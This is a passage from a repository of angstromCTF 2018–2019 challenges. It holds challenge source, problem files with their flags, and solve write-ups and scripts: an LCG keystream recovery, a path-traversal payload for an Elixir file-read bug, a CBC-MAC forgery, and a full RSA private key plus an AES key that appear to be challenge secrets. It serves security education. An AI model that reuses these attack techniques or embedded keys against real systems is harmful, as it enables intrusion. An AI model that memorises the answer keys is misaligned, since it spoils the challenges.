ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer): 43 | pass 44 | 45 | SocketServer.TCPServer.allow_reuse_address = True 46 | server = ReusableTCPServer(('0.0.0.0', PORT), incoming) 47 | 48 | print 'Server listening on port %d' % PORT 49 | server.serve_forever() -------------------------------------------------------------------------------- /angstromctf-2018/gmx/source/sk: -------------------------------------------------------------------------------- 1 | 163415157591285816256651589583051606955378305062040932586128036345373046483526341686069417785596843739368770921445133884861156984135306248763371093641706584930012796396414128919756345730221558065993148624600115640784898335593931433989814418738782772188669473077552691932038467327700292332942233485799597154327 2 | 166074577128226833552249945798825560509005177753851489292248567060376030402587435952586469014868269277455551109596049448100775873740968293341361410224831610710886556392907241049286883510989001159314754794449580492471299251109401708717756219929697627895361073929687517626331274843096497596683079777497415727597 -------------------------------------------------------------------------------- /angstromctf-2018/md5/index.php: -------------------------------------------------------------------------------- 1 | 13 | 14 | 15 | 16 |

17 | People say that MD5 is broken... But they're wrong! All I have to do is use a secret salt. >:) 18 |

19 |

20 | If you can find two distinct strings that—when prepended with my salt—have the same MD5 hash, I'll give you a flag. Deal? 21 |

22 |

23 | Also, here's the source. 24 |

25 |
26 | String 1: 27 |
28 | String 2: 29 |
30 | 31 |
32 | 33 | -------------------------------------------------------------------------------- /angstromctf-2018/md5/secret.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /angstromctf-2018/md5/src/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 7 | 8 | -------------------------------------------------------------------------------- /angstromctf-2018/ofb/README.md: -------------------------------------------------------------------------------- 1 | The object of this challenge is to decrypt `flag.png.enc`, which was encrypted with `encrypt.py`. The encryption appears to be a stream cipher. Unfortunately, the stream is not properly randomized; every 4 bytes is the output of a linear congruential generator (LCG). 2 | 3 | The LCG's parameters are largely unknown, with the exception of the modulus. However, it is possible to recover the others with three consecutive outputs of the LCG; see `source/decrypt.py` for details. We can obtain these three outputs from the known header data of a `PNG` file, which we xor with `flag.png.enc` to produce part of the keystream. 4 | 5 | Given that we know all of the LCG parameters, we can produce the rest of the keystream, xor it with `flag.png.enc`, and decrypt the file. A full solve script is in `source/decrypt.py`. -------------------------------------------------------------------------------- /angstromctf-2018/ofb/encrypt.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | def lcg(m, a, c, x): 4 | return (a*x + c) % m 5 | 6 | m = pow(2, 32) 7 | 8 | with open('lcg') as f: 9 | a = int(f.readline()) 10 | c = int(f.readline()) 11 | x = int(f.readline()) 12 | 13 | d = open('flag.png').read() 14 | d += '\x00' * (-len(d) % 4) 15 | d = [d[i:i+4] for i in range(0, len(d), 4)] 16 | 17 | e = '' 18 | for i in range(len(d)): 19 | e += struct.pack('>I', x ^ struct.unpack('>I', d[i])[0]) 20 | x = lcg(m, a, c, x) 21 | 22 | with open('flag.png.enc', 'w') as f: 23 | f.write(e) 24 | f.close() -------------------------------------------------------------------------------- /angstromctf-2018/ofb/flag.png.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/ofb/flag.png.enc -------------------------------------------------------------------------------- /angstromctf-2018/ofb/problem.yml: -------------------------------------------------------------------------------- 1 | title: ofb 2 | author: defund 3 | value: 120 4 | text: | 5 | defund made a simple OFB cipher, if you can even call it 6 | that. Here's the [source]({{ encrypt.py }}) and the 7 | [encrypted flag]({{ flag.png.enc }}). 8 | hint: Good luck! 9 | flag: actf{pad_rng} 10 | files: 11 | - encrypt.py 12 | - flag.png.enc 13 | -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/decrypt.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import gmpy2 3 | 4 | def lcg(m, a, c, x): 5 | return (a*x + c) % m 6 | 7 | def xor(x, y): 8 | return struct.unpack('>I', x)[0] ^ struct.unpack('>I', y)[0] 9 | 10 | m = pow(2, 32) 11 | 12 | k = open('known').read() 13 | k = [k[i:i+4] for i in range(0, len(k), 4)] 14 | 15 | e = open('flag.png.enc').read() 16 | e = [e[i:i+4] for i in range(0, len(e), 4)] 17 | 18 | x0 = xor(k[0], e[0]) 19 | x1 = xor(k[1], e[1]) 20 | x2 = xor(k[2], e[2]) 21 | 22 | a = ((x1-x2) % m) * gmpy2.powmod(x0-x1, -1, m) % m 23 | c = (x1 - a*x0) % m 24 | x = x0 25 | 26 | d = '' 27 | for i in range(len(e)): 28 | d += struct.pack('>I', x ^ struct.unpack('>I', e[i])[0]) 29 | x = lcg(m, a, c, x) 30 | 31 | with open('flag.png', 'w') as f: 32 | f.write(d) 33 | f.close() -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/encrypt.py: -------------------------------------------------------------------------------- 1 | import struct 2 | 3 | def lcg(m, a, c, x): 4 | return (a*x + c) % m 5 | 6 | m = pow(2, 32) 7 | 8 | with open('lcg') as f: 9 | a = int(f.readline()) 10 | c = int(f.readline()) 11 | x = int(f.readline()) 12 | 13 | d = open('flag.png').read() 14 | d += '\x00' * (-len(d) % 4) 15 | d = [d[i:i+4] for i in range(0, len(d), 4)] 16 | 17 | e = '' 18 | for i in range(len(d)): 19 | e += struct.pack('>I', x ^ struct.unpack('>I', d[i])[0]) 20 | x = lcg(m, a, c, x) 21 | 22 | with open('flag.png.enc', 'w') as f: 23 | f.write(e) 24 | f.close() -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/ofb/source/flag.png -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/flag.png.enc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/ofb/source/flag.png.enc -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/gen.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | m = pow(2, 32) 4 | a = random.randint(0, m) 5 | c = random.randint(0, m) 6 | x = random.randint(0, m) 7 | 8 | with open('lcg', 'w') as f: 9 | f.write('{}\n{}\n{}'.format(a, c, x)) -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/known: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/ofb/source/known -------------------------------------------------------------------------------- /angstromctf-2018/ofb/source/lcg: -------------------------------------------------------------------------------- 1 | 3204287424 2 | 1460809397 3 | 2445943554 -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/README.md: -------------------------------------------------------------------------------- 1 | The object of this challenge is to print the flag located in `mix.exs` on the server. The relevant code is within `utility.ex`: 2 | 3 | ```elixir 4 | defmodule Utility do 5 | 6 | def access(filename) do 7 | unsafe = "pastes/" <> filename <> ".txt" 8 | path = filter(unsafe <> <<0>>, "", String.length(unsafe)) 9 | case File.read path do 10 | {:ok, content} -> content 11 | {:error, reason} -> "File not found.\n" 12 | end 13 | end 14 | 15 | def filter(<< head, tail :: binary >>, acc, n) do 16 | if n == 0 do 17 | acc 18 | else 19 | n = n - 1 20 | if head < 33 or head > 126 do 21 | filter(tail, acc, n) 22 | else 23 | filter(tail, acc <> <>, n) 24 | end 25 | end 26 | end 27 | end 28 | ``` 29 | 30 | Firstly, notice that the service has a local file inclusion vulnerability; it does not have to read from the `pastes/` directory. However, it does append a `.txt` file extension. It then runs the `filter` function to remove any bytes with ASCII values outside of the 33-126 range. 31 | 32 | The bug in the code is that `String.length` returns the length of a Unicode string, while filter works byte by byte. If our filename has emojis, for example, it will prevent `filter` from reaching the `.txt`, effectively removing the file extension. `filter` will also remove the emoji bytes, thus leaving us with any filename. Thus, a valid payload would be `../mix.exs😀😀😀` -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/pastepalooza.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2018/pastepalooza/pastepalooza.zip -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/problem.yml: -------------------------------------------------------------------------------- 1 | title: paste palooza 2 | author: defund 3 | value: 150 4 | text: | 5 | defund made his own pastebin in a fancy programming language! 6 | As a true believer in open source projects, he also released 7 | the [source]({{ pastepalooza.zip }}). The service is running at 8 | `web.angstromctf.com:3001`. 9 | Note: connect with netcat or an equivalent tool. 10 | hint: Good luck! 11 | flag: actf{elixir_encoding} 12 | files: 13 | - pastepalooza.zip 14 | deploy: 15 | type: docker 16 | ports: 17 | 3001: 3001 18 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/.gitignore: -------------------------------------------------------------------------------- 1 | # The directory Mix will write compiled artifacts to. 2 | /_build/ 3 | 4 | # If you run "mix test --cover", coverage assets end up here. 5 | /cover/ 6 | 7 | # The directory Mix downloads your dependencies sources to. 8 | /deps/ 9 | 10 | # Where 3rd-party dependencies like ExDoc output generated docs. 11 | /doc/ 12 | 13 | # Ignore .fetch files in case you like to edit your project deps locally. 14 | /.fetch 15 | 16 | # If the VM crashes, it generates a dump, let's ignore it too. 17 | erl_crash.dump 18 | 19 | # Also ignore archive artifacts (built via "mix archive.build"). 20 | *.ez 21 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/config/config.exs: -------------------------------------------------------------------------------- 1 | # This file is responsible for configuring your application 2 | # and its dependencies with the aid of the Mix.Config module. 3 | use Mix.Config 4 | 5 | # This configuration is loaded before any dependency and is restricted 6 | # to this project. If another project depends on this project, this 7 | # file won't be loaded nor affect the parent project. For this reason, 8 | # if you want to provide default values for your application for 9 | # 3rd-party users, it should be done in your "mix.exs" file. 10 | 11 | # You can configure your application as: 12 | # 13 | # config :pastepalooza, key: :value 14 | # 15 | # and access this configuration in your application as: 16 | # 17 | # Application.get_env(:pastepalooza, :key) 18 | # 19 | # You can also configure a 3rd-party app: 20 | # 21 | # config :logger, level: :info 22 | # 23 | 24 | # It is also possible to import configuration files, relative to this 25 | # directory. For example, you can emulate configuration per environment 26 | # by uncommenting the line below and defining dev.exs, test.exs and such. 27 | # Configuration from the imported file will override the ones defined 28 | # here (which is why it is important to import them last). 29 | # 30 | # import_config "#{Mix.env}.exs" 31 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/lib/pastepalooza.ex: -------------------------------------------------------------------------------- 1 | defmodule PastePalooza do 2 | require Logger 3 | 4 | def accept(port) do 5 | {:ok, socket} = :gen_tcp.listen(port, [:binary, packet: :line, active: false, reuseaddr: true]) 6 | Logger.info "Accepting connections on port #{port}" 7 | loop_acceptor(socket) 8 | end 9 | 10 | defp loop_acceptor(socket) do 11 | {:ok, client} = :gen_tcp.accept(socket) 12 | serve(client) 13 | loop_acceptor(socket) 14 | end 15 | 16 | defp serve(socket) do 17 | write_line(socket, "Welcome to Paste Palooza!\n") 18 | write_line(socket, "Currently, only the file access feature is available.\n") 19 | write_line(socket, "Access a file by entering its name: ") 20 | {:ok, filename} = read_line(socket) 21 | response = Utility.access(filename) 22 | write_line(socket, response) 23 | :gen_tcp.close(socket) 24 | end 25 | 26 | defp read_line(socket) do 27 | :gen_tcp.recv(socket, 0) 28 | end 29 | 30 | defp write_line(socket, text) do 31 | :gen_tcp.send(socket, text) 32 | end 33 | end 34 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/lib/server.ex: -------------------------------------------------------------------------------- 1 | defmodule Server do 2 | use Application 3 | 4 | def start(_type, _args) do 5 | children = [ 6 | {Task.Supervisor, name: PastePalooza.TaskSupervisor}, 7 | Supervisor.child_spec({Task, fn -> PastePalooza.accept(3001) end}, restart: :permanent) 8 | ] 9 | 10 | opts = [strategy: :one_for_one, name: PastePalooza.Supervisor] 11 | Supervisor.start_link(children, opts) 12 | end 13 | end 14 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/lib/utility.ex: -------------------------------------------------------------------------------- 1 | defmodule Utility do 2 | 3 | def access(filename) do 4 | unsafe = "pastes/" <> filename <> ".txt" 5 | path = filter(unsafe <> <<0>>, "", String.length(unsafe)) 6 | case File.read path do 7 | {:ok, content} -> content 8 | {:error, reason} -> "File not found.\n" 9 | end 10 | end 11 | 12 | def filter(<< head, tail :: binary >>, acc, n) do 13 | if n == 0 do 14 | acc 15 | else 16 | n = n - 1 17 | if head < 33 or head > 126 do 18 | filter(tail, acc, n) 19 | else 20 | filter(tail, acc <> <>, n) 21 | end 22 | end 23 | end 24 | end -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/mix.exs: -------------------------------------------------------------------------------- 1 | defmodule PastePalooza.Mixfile do 2 | use Mix.Project 3 | 4 | def project do 5 | [ 6 | app: :pastepalooza, 7 | version: "0.1.0", 8 | elixir: "~> 1.5", 9 | start_permanent: Mix.env == :prod, 10 | deps: deps(), 11 | flag: "actf{elixir_encoding}" 12 | ] 13 | end 14 | 15 | # Run "mix help compile.app" to learn about applications. 16 | def application do 17 | [ 18 | extra_applications: [:logger], 19 | mod: {Server, []} 20 | ] 21 | end 22 | 23 | # Run "mix help deps" to learn about dependencies. 24 | defp deps do 25 | [ 26 | # {:dep_from_hexpm, "~> 0.3.0"}, 27 | # {:dep_from_git, git: "https://github.com/elixir-lang/my_dep.git", tag: "0.1.0"}, 28 | ] 29 | end 30 | end 31 | -------------------------------------------------------------------------------- /angstromctf-2018/pastepalooza/source/pastes/paste.txt: -------------------------------------------------------------------------------- 1 | paste palooza! -------------------------------------------------------------------------------- /angstromctf-2018/run-me/run_me.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char flag[] = "ZmxhZ3tzdHJpbmdfbGl0ZXJhbHMhfQ=="; 5 | 6 | int main (int argc, char* argv[]){ 7 | printf("I have a flag!\n"); 8 | printf("But it's hidden in this program >:)\n"); 9 | printf("(Try getting readable strings)"); 10 | return 0; 11 | } -------------------------------------------------------------------------------- /angstromctf-2018/slots/flag.txt: -------------------------------------------------------------------------------- 1 | actf{fruity} -------------------------------------------------------------------------------- /angstromctf-2018/ssh/README.md: -------------------------------------------------------------------------------- 1 | The object of this challenge is to recover an RSA private key. From `id_rsa.pub`, we can get values for `n` and `e`. While `id_rsa` is largely redacted, the remaining data codes for the lower bits of `p` and the upper bits of `q`. 2 | 3 | From here, one can recover the private key in multiple ways; the most obvious is using Coppersmith's method on the upper bits of `q`. A good Sage script can be found [here](https://github.com/mimoo/RSA-and-LLL-attacks). 4 | 5 | All that remains is sshing to the server. It is important to specify the private key file and the port: 6 | 7 | ```sh 8 | ssh -i id_rsa ctf@web.angstromctf.com -p 3004 9 | ``` 10 | 11 | Once connected, the server prints the flag. -------------------------------------------------------------------------------- /angstromctf-2018/ssh/id_rsa: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | ???????????????????????????????????????????????????????????????? 3 | ???????????????????????????????????????????????????????????????? 4 | ???????????????????????????????????????????????????????????????? 5 | ???????????????????????????????????????????????????????????????? 6 | ???????????????????????????????????????????????????????????????? 7 | ???????????????????????????????????????????????????????????????? 8 | ???????????????????????????????????????????????????????????????? 9 | ???????????????????????????????????????????????????????????????? 10 | ???????????????????????????????????????????????????????????????? 11 | ???????????????????????????????????????????????????????????????? 12 | ???????????????????????????????????????????????????????????????? 13 | ???????????????????????????????????????????????????????????????? 14 | ???????????????????????????????????????????????????????????????? 15 | YC2/ZTbmSZFL9t5Em+ic2ayw0nNUSI6XO7+3tcT9TABzh94t9YLhiDcCgYEA0LFZ 16 | OUTgvmnWAkwGSo/6huQOu/7VmsM7OBdFntgotOJXALXFqCeT2PMXyWVc9/6ObUZj 17 | z9LQUlT6mnzYwFrX4mPPOTY5nvCyjepQlSDA7w49yaRhXKCFRHmEieeFJqzrZoQG 18 | ???????????????????????????????????????????????????????????????? 19 | ???????????????????????????????????????????????????????????????? 20 | ???????????????????????????????????????????????????????????????? 21 | ???????????????????????????????????????????????????????????????? 22 | ???????????????????????????????????????????????????????????????? 23 | ???????????????????????????????????????????????????????????????? 24 | ???????????????????????????????????????????????????????????????? 25 | ???????????????????????????????????????????????????????????????? 26 | ???????????????????????????????????????????????????? 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /angstromctf-2018/ssh/id_rsa.pub: -------------------------------------------------------------------------------- 1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+XZWLCbIpHPC9NlEckVXiKfiujcyu4VUslmm4G1MqNjtPNHaUEoZ8z5LLQK3e9SAKBdze8JyNowmC+lQT2VL059s9pzlRn6t31XTeUjZslgOs6IfAy/MsUkfOwUIo6KcqpSVnmeVMQPOiLUZCza9eDdB3MxFY59hNuodW1TGku00ro+ecKZcvJ+uNC/nfgeLpzaI7Dd6tI8AKrr+g9Tgyd6Ihd3KanLXuWMRwGbbLMi1/uaQd86LVYt/SAvkGO15eUELP723c/kEjKGfhwSKo3MGM5R77uMxfm8DzKW8QkcowEO2FEnPUykBnV1PaiWrl/PoBWTp8hNUYxQPAruWB 2 | -------------------------------------------------------------------------------- /angstromctf-2018/ssh/problem.yml: -------------------------------------------------------------------------------- 1 | title: ssh 2 | author: defund, kmh11 3 | value: 150 4 | text: | 5 | In an effort to follow good security practices, defund set 6 | up SSH keys for his server, which he connects to at 7 | `ctf@web.angstromctf.com:3004`. kmh11 managed to get the 8 | [public key]({{ id_rsa.pub }}) and part of the 9 | [private key]({{ id_rsa }}). Help him ruin defund's life. 10 | hint: Good luck! 11 | flag: actf{ssh_keys_not_broken_enough} 12 | files: 13 | - id_rsa 14 | - id_rsa.pub 15 | deploy: 16 | type: docker 17 | ports: 18 | 22: 3004 -------------------------------------------------------------------------------- /angstromctf-2018/ssh/source/flag.txt: -------------------------------------------------------------------------------- 1 | actf{ssh_keys_not_broken_enough} -------------------------------------------------------------------------------- /angstromctf-2018/ssh/source/id_rsa: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | ???????????????????????????????????????????????????????????????? 3 | ???????????????????????????????????????????????????????????????? 4 | ???????????????????????????????????????????????????????????????? 5 | ???????????????????????????????????????????????????????????????? 6 | ???????????????????????????????????????????????????????????????? 7 | ???????????????????????????????????????????????????????????????? 8 | ???????????????????????????????????????????????????????????????? 9 | ???????????????????????????????????????????????????????????????? 10 | ???????????????????????????????????????????????????????????????? 11 | ???????????????????????????????????????????????????????????????? 12 | ???????????????????????????????????????????????????????????????? 13 | ???????????????????????????????????????????????????????????????? 14 | ???????????????????????????????????????????????????????????????? 15 | YC2/ZTbmSZFL9t5Em+ic2ayw0nNUSI6XO7+3tcT9TABzh94t9YLhiDcCgYEA0LFZ 16 | OUTgvmnWAkwGSo/6huQOu/7VmsM7OBdFntgotOJXALXFqCeT2PMXyWVc9/6ObUZj 17 | z9LQUlT6mnzYwFrX4mPPOTY5nvCyjepQlSDA7w49yaRhXKCFRHmEieeFJqzrZoQG 18 | ???????????????????????????????????????????????????????????????? 19 | ???????????????????????????????????????????????????????????????? 20 | ???????????????????????????????????????????????????????????????? 21 | ???????????????????????????????????????????????????????????????? 22 | ???????????????????????????????????????????????????????????????? 23 | ???????????????????????????????????????????????????????????????? 24 | ???????????????????????????????????????????????????????????????? 25 | ???????????????????????????????????????????????????????????????? 26 | ???????????????????????????????????????????????????? 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /angstromctf-2018/ssh/source/original/id_rsa: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEowIBAAKCAQEAvl2ViwmyKRzwvTZRHJFV4in4ro3MruFVLJZpuBtTKjY7TzR2 3 | lBKGfM+Sy0Ct3vUgCgXc3vCcjaMJgvpUE9lS9OfbPac5UZ+rd9V03lI2bJYDrOiH 4 | wMvzLFJHzsFCKOinKqUlZ5nlTEDzoi1GQs2vXg3QdzMRWOfYTbqHVtUxpLtNK6Pn 5 | nCmXLyfrjQv534Hi6c2iOw3erSPACq6/oPU4MneiIXdympy17ljEcBm2yzItf7mk 6 | HfOi1WLf0gL5BjteXlBCz+9t3P5BIyhn4cEiqNzBjOUe+7jMX5vA8ylvEJHKMBDt 7 | hRJz1MpAZ1dT2olq5fz6AVk6fITVGMUDwK7lgQIDAQABAoIBAGIAdbtFe5XU007l 8 | hq5pV8h+CQt77rLdSGcS7EwerRrfHntxK9ahDuF0T0MaAij1EtB2IjYXstDr7Tqj 9 | uuMZD68LKgA8dbLCu5iOqILH2kLem/fJIhIsLP1VQqh7L5813tGCgZYrUTOHgKWu 10 | HyzHDRAjln23KagWe3HQpFocmVkPPEv6WfbLmYCNG4xOXAyn/u7H8siPbO4KNDvh 11 | 8SF8I8LsDneXQDdM/9oxnch5egsBCliwrXnjOtw8oIjcv0/baNqVTEmzqmk/DgVF 12 | 1oReNBPXIKLfXJgVjktF0r1uLqCGctsgZE6prsfBksEIe5cFZM2SnUPl6jLxweGa 13 | JmrbhO0CgYEA6YSwggFR1+1qhlaQc+oS5k02+jO8NgCCzR6HrQYY9t1vDbrGdBcM 14 | PRHx6OoSCMSO48YxP3cDE4/C0tyOlP3UpCe9kqQg3ooCXQQj6ANRrKoskr/l4Rcp 15 | YC2/ZTbmSZFL9t5Em+ic2ayw0nNUSI6XO7+3tcT9TABzh94t9YLhiDcCgYEA0LFZ 16 | OUTgvmnWAkwGSo/6huQOu/7VmsM7OBdFntgotOJXALXFqCeT2PMXyWVc9/6ObUZj 17 | z9LQUlT6mnzYwFrX4mPPOTY5nvCyjepQlSDA7w49yaRhXKCFRHmEieeFJqzrZoQG 18 | yyhOvg7gEg3v50Bf/n12+2u0aRg8smKCLJtvNAcCgYEAs7m0P9rUKuRHgG1PcGdP 19 | dIEpNxhqWwW5pjVBJyHyRM3YkzCVXPQAL2CIV0MP7j+Z2iTH8piefYe/4ppuAq35 20 | 4v3TIfHAeoatmvl8yS0Ex2eSNsALJVq2NZgAHt5KD4UMekxHcdduIPqQfOjWjaFx 21 | NEMyGWwrpzsRsBiINtUsz7ECgYAgYbRff4GD6jYryxIa1bZg4dgrcYJBblOtA2dp 22 | G09NqeUoFgxiaCm3uxiQxmqjjFsbN5XbNHHgpJDyEbcsOaxP037e+Lv+HokGHjp8 23 | uUVWkpYhyKDW1412L4jSQRtXAfPQx2GqekmlkfdQtdrovgNnIJ6qqm6m8/zPDRv3 24 | wfKCVwKBgBKGWd6+9MQbT6IwcNXAPqgrkVMNHIRvjizSAZ3uvJ1nS5iVodKdrFuK 25 | kay/8FkJNFSYAEFaalTU0OG0jM6fP2b8HLUwRJY3/iV0rtuPHAG6NCoc2LGRSsio 26 | 4MBPIlAscIsU7IPegUWefFsRvJu7aIWZrIqiY1g6SOTW6yPOeSrc 27 | -----END RSA PRIVATE KEY----- 28 | -------------------------------------------------------------------------------- /angstromctf-2018/ssh/source/original/id_rsa.pub: -------------------------------------------------------------------------------- 1 | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+XZWLCbIpHPC9NlEckVXiKfiujcyu4VUslmm4G1MqNjtPNHaUEoZ8z5LLQK3e9SAKBdze8JyNowmC+lQT2VL059s9pzlRn6t31XTeUjZslgOs6IfAy/MsUkfOwUIo6KcqpSVnmeVMQPOiLUZCza9eDdB3MxFY59hNuodW1TGku00ro+ecKZcvJ+uNC/nfgeLpzaI7Dd6tI8AKrr+g9Tgyd6Ihd3KanLXuWMRwGbbLMi1/uaQd86LVYt/SAvkGO15eUELP723c/kEjKGfhwSKo3MGM5R77uMxfm8DzKW8QkcowEO2FEnPUykBnV1PaiWrl/PoBWTp8hNUYxQPAruWB 2 | -------------------------------------------------------------------------------- /angstromctf-2019/blank-paper/blank_paper.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/blank-paper/blank_paper.pdf -------------------------------------------------------------------------------- /angstromctf-2019/blank-paper/paper.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/angstromctf-2019/blank-paper/paper.pdf -------------------------------------------------------------------------------- /angstromctf-2019/classy_cipher/classy_cipher.py: -------------------------------------------------------------------------------- 1 | from secret import flag, shift 2 | 3 | def encrypt(d, s): 4 | e = '' 5 | for c in d: 6 | e += chr((ord(c)+s) % 0xff) 7 | return e 8 | 9 | assert encrypt(flag, shift) == ': std_bound: 24 | for j in range(trials): 25 | if samples[j][i] < low_bound: 26 | samples[j][i] += lwe.q 27 | 28 | y = np.mod(np.rint(np.mean(samples, axis=0)).astype(int), lwe.q) 29 | 30 | Z = Integers(lwe.q) 31 | M = matrix(Z, A).augment(vector(Z, y)) 32 | 33 | ref = [] 34 | for i in range(lwe.n-1): 35 | for j in range(i, lwe.n): 36 | if np.mod(M[j, i], 2) == 1: 37 | M.swap_rows(i, j) 38 | break 39 | M.rescale_row(i, M[i, i]^(-1)) 40 | for j in range(i+1, lwe.n): 41 | M.add_multiple_of_row(j, i, -M[j, i]) 42 | for i in range(lwe.q): 43 | if M[-1, -2]*i == M[-1, -1]: 44 | T = copy(M) 45 | T[-1, -2] = 1 46 | T[-1, -1] = i 47 | ref.append(T) 48 | 49 | rref = [] 50 | for M in ref: 51 | for i in range(lwe.n-1, -1, -1): 52 | for j in range(i-1, -1, -1): 53 | M.add_multiple_of_row(j, i, -M[j, i]) 54 | rref.append(M) 55 | 56 | solution = [] 57 | for M in rref: 58 | solution.append(np.array(list(M.column(-1)))) 59 | 60 | assert any([np.array_equal(x, s) for x in solution]) -------------------------------------------------------------------------------- /angstromctf-2019/mac-forgery/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM defund/crypto 2 | 3 | COPY . /ctf 4 | WORKDIR /ctf 5 | 6 | EXPOSE 3000 7 | LABEL options='{"ports": {"3000": 19002}}' 8 | 9 | CMD ["python3", "server.py"] -------------------------------------------------------------------------------- /angstromctf-2019/mac-forgery/deploy/cbc_mac.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | from Crypto.Util.Padding import pad 4 | from Crypto.Util.number import long_to_bytes 5 | from Crypto.Util.strxor import strxor 6 | 7 | split = lambda s, n: [s[i:i+n] for i in range(0, len(s), n)] 8 | 9 | class CBC_MAC: 10 | 11 | BLOCK_SIZE = 16 12 | 13 | def __init__(self, key): 14 | self.key = key 15 | 16 | def next(self, t, m): 17 | return AES.new(self.key, AES.MODE_ECB).encrypt(strxor(t, m)) 18 | 19 | def mac(self, m, iv): 20 | m = pad(m, self.BLOCK_SIZE) 21 | m = split(m, self.BLOCK_SIZE) 22 | m.insert(0, long_to_bytes(len(m), self.BLOCK_SIZE)) 23 | t = iv 24 | for i in range(len(m)): 25 | t = self.next(t, m[i]) 26 | return t 27 | 28 | def generate(self, m): 29 | iv = get_random_bytes(self.BLOCK_SIZE) 30 | return iv, self.mac(m, iv) 31 | 32 | def verify(self, m, iv, t): 33 | return self.mac(m, iv) == t 34 | -------------------------------------------------------------------------------- /angstromctf-2019/mac-forgery/deploy/secret.py: -------------------------------------------------------------------------------- 1 | flag = b'actf{initialization_vectors_were_probably_a_bad_idea}' 2 | key = b'\x1a\xd4G\xfd/yo\x05\x0c\xcf\x00\x07\xca3p~' -------------------------------------------------------------------------------- /angstromctf-2019/mac-forgery/deploy/server.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import signal 3 | import socketserver 4 | 5 | from cbc_mac import CBC_MAC 6 | from secret import flag, key 7 | 8 | welcome = b'''\ 9 | If you provide a message (besides this one) with 10 | a valid message authentication code, I will give 11 | you the flag.''' 12 | 13 | cbc_mac = CBC_MAC(key) 14 | 15 | def handle(self): 16 | signal.alarm(10) 17 | iv, t = cbc_mac.generate(welcome) 18 | self.write(welcome) 19 | self.write(b'MAC: %b' % binascii.hexlify(iv+t)) 20 | m = binascii.unhexlify(self.query(b'Message: ')) 21 | mac = binascii.unhexlify(self.query(b'MAC: ')) 22 | assert len(mac) == 32 23 | iv = mac[:16] 24 | t = mac[16:] 25 | if m != welcome and cbc_mac.verify(m, iv, t): 26 | self.write(flag) 27 | self.close() 28 | 29 | class RequestHandler(socketserver.BaseRequestHandler): 30 | 31 | handle = handle 32 | 33 | def read(self, until=b'\n'): 34 | out = b'' 35 | while not out.endswith(until): 36 | out += self.request.recv(1) 37 | return out[:-len(until)] 38 | 39 | def query(self, string=b''): 40 | self.write(string, newline=False) 41 | return self.read() 42 | 43 | def write(self, string, newline=True): 44 | self.request.sendall(string) 45 | if newline: 46 | self.request.sendall(b'\n') 47 | 48 | def close(self): 49 | self.request.close() 50 | 51 | class Server(socketserver.ForkingTCPServer): 52 | 53 | allow_reuse_address = True 54 | 55 | def handle_error(self, request, client_address): 56 | self.request.close() 57 | 58 | port = 3000 59 | server = Server(('0.0.0.0', port), RequestHandler) 60 | server.serve_forever() -------------------------------------------------------------------------------- /angstromctf-2019/mac-forgery/solve.py: -------------------------------------------------------------------------------- 1 | from cbc_mac import CBC_MAC 2 | 3 | from Crypto.Random import get_random_bytes 4 | from Crypto.Util.Padding import pad 5 | from Crypto.Util.number import long_to_bytes 6 | from Crypto.Util.strxor import strxor 7 | 8 | m = b'''\ 9 | If you provide a message (besides this one) with 10 | a valid message authentication code, I will give 11 | you the flag.''' 12 | 13 | key = get_random_bytes(16) 14 | cbc_mac = CBC_MAC(key) 15 | iv, t = cbc_mac.generate(m) 16 | l = len(pad(m, 16)) / 16 17 | 18 | m_forged = pad(m, 16)+strxor(strxor(iv, 